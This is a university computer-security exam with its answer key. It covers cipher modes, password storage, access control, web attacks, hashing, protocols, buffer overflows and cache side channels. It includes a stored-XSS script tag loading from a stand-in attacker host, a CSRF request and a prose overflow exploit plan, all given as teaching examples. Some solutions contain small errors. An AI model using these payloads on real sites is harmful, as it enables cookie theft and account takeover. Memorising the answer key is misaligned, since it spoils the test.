



DD2395 Computer Security

DD2391 Cybersecurity Overview

Exam 2024-10-22 08:00–12:00

The problems are *not* sorted according to any perceived difficulty.

Students are allowed to bring at most 10 A4 papers (20 pages in total with student's full name written on every page) of handwritten or printed material to the exam. No electronic devices of any kind are allowed.

The exam grade is computed as follows:

- FX: 32-34 points
- E: 35-44 points
- D: 45-54 points
- C: 55-64 points
- B: 65-74 points
- A: 75-100 points

1 Symmetric Cryptography - Mode of Encryption [14 points]

Alice and Bob design the AES-SEC mode of operation as follows:

- $C_1 = E_K(P_1 \oplus IV_1) \oplus IV_2$
- $C_i = E_K(P_i \oplus C_{i-1}) \oplus P_{i-1}$, for $i \geq 2$

Here, $E_K(b)$ denotes the encryption of a block b of size n with secret key K (shared between Alice and Bob) using a secure block cipher E , for example AES. When Alice sends a message Bob, the proposed mode AES-SEC will split a message P into m blocks of size n , choose two initialization vectors IV_1 and IV_2 , and send $(IV_1, IV_2, C_1, \dots, C_m)$ to Bob. You can assume that the message P is a multiple of n , hence no padding is needed.

- 1a [6 points]** Help Bob to derive the decryption algorithm/formula of a block P_i , for $i \geq 2$. You can use $D_K(b)$ to denote the decryption of a block b of size n with encryption key K .

Solution The decryption formula is $P_i = D_K(C_i \oplus P_{i-1}) \oplus C_{i-1}$. The formula can be derived by XORing or decrypting both sides, as follows:

$$\begin{aligned}C_i &= E_K(P_i \oplus C_{i-1}) \oplus P_{i-1} \\C_i \oplus P_{i-1} &= E_K(P_i \oplus C_{i-1}) \\D_K(C_i \oplus P_{i-1}) &= P_i \oplus C_{i-1} \\D_K(C_i \oplus P_{i-1}) \oplus C_{i-1} &= P_i\end{aligned}$$

- 1b [4 points]** Explain whether or not the encryption formula and the decryption formula can be parallelized.

Solution The encryption formula cannot be parallelized because the computation of C_i requires knowing C_{i-1} .

The decryption formula cannot be parallelized because the computation of P_i requires knowing P_{i-1} .

- 1c [4 points]** Suppose AES-SEC reuses the same initialization vectors IV_1 and IV_2 in all communications between Alice and Bob. Explain if AES-SEC is IND-CPA secure, otherwise provide a counterexample.

Solution For two messages $P_1; P_2$ and $P_1; P_3$ that share the same first block P_1 , the attacker can learn whether or not they are the same by comparing the ciphertexts of the first block. Therefore, AES-SEC is not IND-CPA secure.

2 Authentication - Password Storage [12 points]

Alice maintains a database of passwords with U users. Each user has a unique username and chooses a (not necessarily unique) password from a list of L passwords. Note that U and L are positive integers representing the number of users in Alice's database and the number of possible passwords in the list, respectively. Also, assume that H is a secure cryptographic hash function.

Mallory is able to read and modify (i.e. read, add, update, delete) Alice's database and wants to perform two attacks with the following two goals:

1. Compute the password of every user in Alice's database.
2. Change the password of every user in Alice's database to **pwned**, a password that is not in the list of L passwords.

For each of the password storage schemes below, your task is to describe two attacks for achieving each of the two goals above and determine how many hashes Mallory needs to compute for each of the two attacks. Otherwise you should justify why this is not possible. Note that you should only calculate the number of hash computations, otherwise you can assume that operations like comparisons, or reads and modification to the database have no cost.

2a [3 points] Alice uses the password storage scheme: **username** and $H(\text{password})$, which stores the username and the hash of the password for each user.

Solution For the first attack, Mallory can compute the hash of each of the possible passwords and compare with the list of the hashes from the database. This requires computing L hashes.

For the second attack, Mallory can compute the hash of the password **pwned** and replace users' password hash to this hash. This requires computing 1 hash.

2b [3 points] Alice uses the password storage scheme: **username** and $H(\text{username}++\text{password})$, where $++$ denotes string concatenation.

Solution For the first attack, Mallory needs to compute hashes of the entire list L of possible passwords, once for every user U , because the hashes are salted. This requires computing $U \times L$ hashes. Mallory can then compare these hashes with the list of the hashes from the database to find the passwords of every user.

For the second attack, Mallory has to compute the hash of the password **pwned** for every user to find the salted hash of that user, because the hashes are salted with **username**. This requires computing U hashes. Mallory can finally replace Alice's database with the list of matching **username** and $H(\text{username}++\text{pwned})$ pairs.

2c [3 points] Alice uses the password storage scheme: **username** and $H(H(\text{username})++\text{password})$, where $++$ denotes string concatenation.

Solution For the first attack, Mallory can first compute the hash of each username to get the list of U hashed usernames. Then, for each user, Mallory combine their hash usernames with all of the L passwords, as in the previous scheme. This process requires computing $U + U \times L$ hashes.

For the second attack, Mallory can first compute the hash of each username to get the list of U hashed usernames. Then, for each user, Mallory can compute the hash of each of the U hashed usernames concatenated with the string **pwned**, which requires another U hash computations. This requires computing $2 \times U$ hashes in total.

2d [3 points] Alice uses the password storage scheme: `username` and `H(username++H(password))`, where `++` denotes string concatenation.

Solution For the first attack, Mallory can first compute the hash of the entire list of L possible passwords to get the list of L hashed passwords. Then, for each username, Mallory can compute the hash of the username with each of L hashed passwords, which requires $U \times L$ hash computations. This process requires computing $L + U \times L$ hashes in total.

For the second attack, Mallory can first compute the hash of the string `pwned` and then hash it with each of the U usernames. This requires computing $U + 1$ hashes in total.

3 Access Control - BLP Model [12 points]

You are a security consultant tasked with reviewing the access control system of a defense organization that uses the Bell-LaPadula (BLP) security model. Users and files are categorized based on sensitivity (security clearance) levels and compartment authorizations. Recall that in the BLP model, labels L are pairs (SL, C) of sensitivity levels SL and compartments (sets of areas) C , and they are used to enforce the "no read up" and "no write down" access rules. The system you are reviewing has the following components:

- Four security clearance levels: Top Secret (TS), Secret (S), Confidential (C), and Unclassified (U), such that $U < C < S < TS$.
- Three compartments: Alpha (A), Beta (B), and Gamma (G).

3a [6 points] Provide the definition of "no read up" and "no write down" rules for a User U with label $L_U = (SL_U, C_U)$ and a file F with label $L_F = (SL_F, C_F)$. Give an example of labels for a user U and a file F such that read access is allowed, and an example of security labels for a user U_1 and a file F_1 such that write access is allowed.

Solution No read up: U may read F iff $L_F \sqsubseteq L_U$. No write down: U may write F iff $L_U \sqsubseteq L_F$. For two labels $L_1 = (SL_1, C_1)$ and $L_2 = (SL_2, C_2)$, we have that $L_1 \sqsubseteq L_2$ iff $SL_1 \leq SL_2$ and $C_1 \subseteq C_2$, where C_i is a subset of $\{A, B, G\}$. Example where read access is allowed: $L_U = (TS, \{A\})$ and $L_F = (S, \{A\})$. Example where write access is allowed: $L_{U_1} = (S, \{A\})$ and $L_{F_1} = (TS, \{A\})$.

3b [6 points] Consider the following labels for users and files:

- User 1 has a clearance level of Secret (S) and is authorized for compartments Alpha (A) and Beta (B).
- User 2 has a clearance level of Confidential (C) and is authorized for compartment Gamma (G) only.
- File A is classified as Top Secret (TS) and is in compartments Alpha (A) and Beta (B).
- File B is classified as Secret (S) and is in compartment Gamma (G).
- File C is classified as Confidential (C) and is in compartment Alpha (A).
- File D is classified as Unclassified (U) and has no compartment restrictions.

For each user, analyze whether they can read or write the given files based on their security labels. Note that you should provide a justification of why the read/write access is permitted or denied.

- Can User 1 read or write File A?
- Can User 1 read or write File B?
- Can User 1 read or write File D?
- Can User 2 read or write File A?
- Can User 2 read or write File B?
- Can User 2 read or write File C?

Solution In light of the constraints above, we have the following labels for users and files:

- User 1: $L_{U1} = (S, \{A, B\})$
- User 2: $L_{U2} = (C, \{G\})$
- File A: $L_{FA} = (TS, \{A, B\})$
- File B: $L_{FB} = (S, \{G\})$
- File C: $L_{FC} = (C, \{A\})$
- File D: $L_{FD} = (U, \{\})$

As defined in the previous point, these two rules apply for a user U and a file F ; No read up: U may read F iff $L_F \subseteq L_U$. No write down: U may write F iff $L_U \subseteq L_F$. Hence:

- Can User 1 read or write File A? $L_{U1} \subseteq L_{FA}$, hence the user cannot read but can write the file.
- Can User 1 read or write File B? $L_{U1} \not\subseteq L_{FB}$ and $L_{FB} \not\subseteq L_{U1}$, hence the user can neither read nor write the file.
- Can User 1 read or write File D? $L_{FD} \subseteq L_{U1}$, hence the user cannot write but can read the file.
- Can User 2 read or write File A? $L_{U2} \not\subseteq L_{FA}$ and $L_{FA} \not\subseteq L_{U2}$, hence the user can neither read nor write the file.
- Can User 2 read or write File B? $L_{U2} \subseteq L_{FB}$, hence the user cannot read but can write the file.
- Can User 2 read or write File C? $L_{U2} \not\subseteq L_{FC}$ and $L_{FC} \not\subseteq L_{U2}$, hence the user can neither read nor write the file.

4 Web Security [12 points]

FakeBook `https://fakebook.com` is a social media website that allows users to make posts. Those posts are stored on FakeBook servers. Alice and Mallory both have accounts on FakeBook.

4a [10 points] Mallory makes a FakeBook post with the contents:

```
<script src="https://attacker.com/payload.js"></script>
```

Assume FakeBook does not check the inputs of a post. Justify whether or not the following statements are true. Note that the lack of a correct justification will be awarded 0 points.

1. The JavaScript code in `payload.js` executes with the origin of `https://fakebook.com`.
2. The JavaScript code in `payload.js` executes with the origin of `https://attacker.com`.
3. The JavaScript code in `payload.js` does not execute.
4. Alice's browser is able to make a request to `https://attacker.com/payload.js` without being blocked.
5. Assume that `payload.js` is executed on Alice's browser to steal the cookie and send it Mallory. Then this is an example of a DOM-based XSS attack.

Solution JavaScript code executes with the origin of the page that loaded it, hence `https://fakebook.com`. Therefore, the first statement is true and the other two statements are false. The fourth statement is true because same-origin policy does not stop you from making requests. The fifth statement is false, this is a stored XSS attack.

4b [2 points] Mallory makes a FakeBook post with the contents:

```
<script src="https://fakebook.com/resetPassword?password=42"></script>
```

The `resetPassword` endpoint makes a request that sets the currently logged-in user's password to the `password` query parameter input. Assume FakeBook does not check user inputs. When Alice opens Mallory's post, which type of attack has Mallory tried to execute? Explain how the same-origin policy allows or prevents the attack.

Solution This is a CSRF attack. Mallory tricked Alice into making a request and attaching cookies to cause some authenticated action to occur. Note that even though Mallory used the script tags in HTML, she never loaded JavaScript, but used the tags to trick Alice's browser into making a request for some JavaScript that wasn't actually there.

5 Hash Functions [12 points]

Let $x = x_1 \dots x_n$ be an input of n blocks of 256 bits. Let $H(x)$ be the following function

```
def H(x_1 ... x_n)
    res = 0
    for i from 1 to n
        res = res xor x_i
        if x_i mod 2 == 1:    // lowest bit
            res = res / 2    // shift right
    return res
```

5a [12 points] For each requirement of a cryptographically secure hash function, define the requirement, and either disprove the requirement or argue why the requirement is met.

Solution

- One way: given h it should be infeasible to find $x_1 \dots x_n$ such that $H(x_1, \dots, x_n) = h$. It is not one way. If last bit of h is 0, we have $H(h) = h$. If last bit of h is 1, let $h' = h \& 0b111 \dots 1110$ (i.e., a mask with all bits except the lowest one set to 1), $H(3, h') = (3/2) \oplus h' = 1 \oplus h' = h$.
- Weak collision resistance: given $x_1 \dots x_n$ it should be infeasible to find a different $y_1 \dots y_m$ such that $H(x_1 \dots x_n) = H(y_1 \dots y_m)$ It is not weak collision resistant, since $H(x_1 \dots x_n) = x_1 \dots x_n 0$
- Strong collision resistant: it should be infeasible to find any $x_1 \dots x_n$ and $y_1 \dots y_n$ such that $H(x_1 \dots x_n) = H(y_1 \dots y_m)$ It is not weak collision resistant, therefore it is not strong collision resistance.

In case you have used the original formulation (i.e., x_1 in the loop body)

- One way: given h it should be infeasible to find $x_1 \dots x_n$ such that $H(x_1, \dots, x_n) = h$. It is not one way. Let $h' = 0; h$, $H(h') = (0) \oplus h = h$.
- Weak collision resistance: given $x_1 \dots x_n$ it should be infeasible to find a different $y_1 \dots y_m$ such that $H(x_1 \dots x_n) = H(y_1 \dots y_m)$ It is not weak collision resistant, since $H(x_1 \dots x_n) = x_1 \dots x_n 0$
- Strong collision resistant: it should be infeasible to find any $x_1 \dots x_n$ and $y_1 \dots y_n$ such that $H(x_1 \dots x_n) = H(y_1 \dots y_m)$ It is not weak collision resistant, therefore it is not strong collision resistance.

6 Security Protocols [12 points]

A file-sharing system involves three parties: **Alice** (the sender), **Bob** (the recipient), and a **Server** that facilitates the file-sharing. In the following, $sign(k, msg)$ returns the pair of the message and its signature: i.e., $sign(k, msg) = msg, Encryption(k, Hash(msg))$. The protocol is as follows:

- **Step 1: Alice Sends the File**

Alice creates a message $M = (Alice, File)$ indicating that she wants to share a file with Bob and sends it to the Server, along with a timestamp $Time1$.

Alice $\rightarrow$ Server : (Alice, File, Time1)

The Server rejects the file if $Time1$ is too old or set in the future.

- **Step 2: Server Checks for Malware**

The Server scans the file for malware. If file does not contain fragments of malware that have been reported in the Server database, the Server sends an acknowledgment (ACK) to Alice:

Server $\rightarrow$ Alice : ack

- **Step 3: Alice Signs the File Hash**

Alice generates a cryptographic hash of the file and signs it using her private key sk_A . Alice sends this signed hash to the Server, along with another timestamp $Time2$:

Alice $\rightarrow$ Server : $Sign(sk_A, (Alice, Hash(File), Time2))$

The Server verifies that the signed hash corresponds to the file previously scanned, that $Time2$ is valid, and checks the signature using Alice's public key pk_A .

- **Step 4: Server Generates Proof of Security**

The Server creates a message $M_S = (Server, Alice, OK, Time3)$ and signs it with its private key sk_S . The Server then sends this signed message to Alice:

Server $\rightarrow$ Alice : $Sign(sk_S, (Server, Alice, OK, Time3))$

- **Step 5: Alice Sends the File and Proof of Security to Bob**

Alice sends the file and forwards the previous Server's (signed) message to Bob:

Alice $\rightarrow$ Bob : (File, $Sign(sk_S, (Server, Alice, OK, Time3))$)

Bob verifies the signature using the Server's public key pk_S and checks that $Time3$ is not too old and not set in the future.

Protocol Guarantees

Bob trusts Server. This protocol is designed to guarantee to Bob that the file was sent and originated by Alice, file has not been modified, file has been checked by Server.

6a DOS. [2 points] Explain how the protocol can be abused by someone that is not Alice to deny the file sharing service. **Solution. [2 points]** Propose a solution to this problem.

Solution The first message is not signed, therefore anyone can impersonate Alice and send hundreds of messages forcing expensive virus scans. Add Alice's signature and nonce to the first message, allowing server to reject unauthorized (and possibly duplicated) file scan requests.

6b Scan bypass. [2 points] Explain how Alice can bypass the malware scan, making Bob to accept a file that has not been scanned. **Solution. [2 points]** Propose a solution to this problem.

Solution The forth message (i.e., the proof) does not contain hash of the file, therefore Alice can first send a benign file to Server, receive the proof, and send this proof with a different file to Bob. Add hash of file to the signed proof, Bob rejects the file if file hash does not match the hash in the proof.

6c Integrity violation. [2 points] Explain how someone can violate integrity of the file. **Solution. [2 points]** Propose a solution to this problem.

Solution The last message (and the proof) does not contain hash of the file, therefore a Person in the Middle can modify the last message from Alice, sending a different file. Add hash of file to the signed proof, Bob rejects the file if file hash does not match the hash in the proof. Alternatively, sign the last message with Alice private key.

7 Memory safety [14 points]

The following program receives an argument and prints it on the screen. I.e., `./main hello` should print on the screen the string `hello`. Here:

- `Pwd123456` is a secret variable and should not be leaked.
- `strcmp(input, secret)` returns 0 only if all bytes of the two strings (up to the null terminator) are the same.
- `strcpy(buffer, input)` copies all bytes from `input` into `buffer`, until it reaches the null terminator (i.e., `\0`)
- `printf(input)` prints all bytes from `input`, until the null terminator (i.e., `\0`)

```
1 void printInput(char *input) {
2     char buffer[50];
3     char secret[20] = "Pwd123456";
4     if (strcmp(input, secret) == 0)
5         print(secret);
6     else
7         printf(input);
8     strcpy(buffer, input);
9 }
10 int main(int argc, char *argv[]) {
11     if (argc != 2) {
12         return 1;
13     }
14     printInput(argv[1]);
15     return 0;
16 }
```

The program is not memory safe. Assume that the attacker can control the input argument passed to the program.

- 7a [2 points]** Identify the lines of the program that have a problem and explain why they are not secure.
- 7b [3 points]** Explain a mechanism that can be used by the attacker to force the program to execute arbitrary code. In your answer include a description of what should be the argument and the assumption you have made about the binary code and memory layout of the program.
- 7c [3 points]** Explain a mechanism that can be used by the attacker to force the program to leak the password without injecting new code or providing `Pwd123456` as input. In your answer include a description of what should be the argument and the assumption you have made about the binary code and memory layout of the program.
- 7d [2 points]** Explain if (and why/why not) the attacks in 7.b can be countered by randomizing the base address of the stack.

- 7e [2 points] Explain if (and why/why not) the attacks in 7.c can be countered by randomizing the base address of the stack.
- 7f [2 points] If one of the two attacks in 7.b or 7.c cannot be countered by randomizing the base address of the stack, propose and motivate a countermeasure.

Solution

- `strcpy` at line 9 can overflow `buffer` since it can write more than 50 bytes if the input string is longer than 49 characters.
- assume that in the stack we have (from low, to high addresses) `secret`, `buffer`, `return pointer`. We assume the architecture is 64 bits (i.e., pointers are 8 bytes) If the input contains 50 bytes, then `<address of return pointer + 8>`, then binary code, `strcpy` at line 9 overflows the stack variables and overwrites the return pointer with the address immediately after the return pointer. After the return pointer, the overflow additionally writes the binary code. Therefore, when the function returns it jumps to the address above the return pointer on the stack. This attack can be countered by base stack randomization, since it prevents the attacker from knowing the address of `buffer` and therefore the address where the binary code has been injected. This makes not possible to know the value that should be written in the return pointer.
- assume that in the stack we have (from low, to high addresses) `secret`, `buffer`, `return pointer`. We assume the architecture is 64 bits (i.e., pointers are 8 bytes) If the input contains 50 bytes, then `<address of printf(secret)>`, `strcpy` at line 9 overflows the stack variables and overwrite the return pointer with the address of `printf(secret)`. Therefore, when the function returns it jumps to the `printf(secret)`. This attack cannot be countered by randomizing the base address of the stack, since this will not affect the distance between `buffer` and the return pointer, neither the position of the code of `printf(secret)`. This bug can be countered by a stack canary, which is placed between `buffer` and the return pointer. Assuming that the attacker does not know the value of a random canary, the overflow will overwrite the value of the canary. When the function returns, it can check that the canary has been altered, detecting the overflow on the stack.

8 Side channels [12 points]

Suppose that a system uses a non-shared data cache (no instruction cache) of 512 bytes, 8 lines, 64 bytes per line. The cache is directly mapped. The array M consists of 64 entries of 4 bytes. The first sixteen entries of the array are mapped to the first cache line, the second sixteen entries are mapped to the second cache line, the third sixteen entries are mapped to the third cache line, and the last sixteen entries are mapped to the fourth cache line. The array is public. The variables A and B are secret numbers, and D is a public variable controlled by the attacker (i.e., it is an input of the attacker). Variables A , B , C , D , and i are all unsigned integers and are allocated in the same block of 64 bytes, which is mapped on the fifth cache line. Finally, assume that A is less than 64. The victim program is the following:

```
1  int C = 0;
2  if D < 32 and A < 32 {
3      for (int i = 0; i < A; i++) {
4          C += M[D + i];
5      }
6      if (B != 0) {
7          C += M[D + 16];
8      }
9  }
```

Suppose that the attacker can **only** measure the execution time of the victim program, but it is allowed to observe multiple executions with the same initial values for A , B , M , and all possible values of D . Assume that the execution time only depends on total number of cache misses/hits of the victim program. By using multiple measurements, the attacker can extract some information about the secret variables of this program.

8a [3 points] Explain why this program is not secure and which instructions can cause information leakage.

Solution Body of loop (4) depends on the initial value of A . Instruction (7) is only executed if $B \neq 0$. Both these instructions can access cache and therefore produce variable execution time.

8b [4 points] Explain why information is leaked and how the attacker can correlate different executions to learn different information of the initial values of the variables.

Solution Let assume that cache is initially empty. The code will always cause at least one cache miss since it accesses the variables in line 4 (i.e., the fifth line). We compute the cache misses by cases:

- if $D \geq 32 \vee A \geq 32$. If body is not executed. 1 cache miss
- if $D = 0 \wedge A < 16 \wedge B = 0$. Outer if body is executed. Nested if body not executed. Cache accessed by loop are $D/16 \dots (D + A)/16$. Therefore, we can have $1 + A/16 = 2$ misses
- if $D = 0 \wedge 16 \leq A < 32 \wedge B = 0$. Outer if body is executed. Nested if body not executed. Cache accessed by loop are $D/16 \dots (D + A)/16$. Therefore, we can have $1 + A/16 = 3$ misses

- if $D = 0 \wedge A < 16 \wedge B \neq 0$. Outer if body is executed. Nested if body is executed. Cache accessed by loop are $D/16 \dots (D + A)/16$. Therefore, we can have $1 + A/16 + 1$ misses. Since $A < 16$, we have $1 + 1 + 1 = 3$ misses
- if $D = 0 \wedge 16 \leq A < 32 \wedge B \neq 0$. Outer if body is executed. Nested if body is executed by accesses the same cache line that has been accessed by the loop. Cache accessed by loop are $D/16 \dots (D + A)/16$. Therefore, we can have $1 + A/16$ misses $= 1 + 2 = 3$ misses
- for $0 < D < 32$ the reasoning is analogous (but loop accesses 1 more cache line due to non alignment with cache size)

8c [3 points] Describe how you can fix the program or prevent the attack.

Solution The simplest solution is first to guarantee that the memory operations are done independently of A and B . This can be done using conditional assignment (using additional variables that we assume to not cause eviction of other variables and assuming that conditional assignment can be done in constant time).

```
int C = 0;
if D < 32 {
    for (int i = 0; i < 32; i++) {
        t = M[D+i]
        C += (i < A)? t:0;
    }
    t = M[D + 16];
    C += (B != 0 and A < 32)? t:0;
}
```

Then we can also prime the cache accessing $M[0]$, $M[16]$, $M[32]$, $M[48]$. This would guarantee that we always access lines $[0,1,2,3]$.

8d [2 points] Explain if the program can leak more information in case the processor supports speculative execution (i.e., branch prediction).

Yes. However out of bound reads (i.e., instruction 4 when CPU speculates the execution of the loop body when $A > 32$ or $D > 32$) cannot be transmitted. On the other hand, the access of instruction 4 can leak the value of A when this is greater than 32, which is not possible in absence of speculation.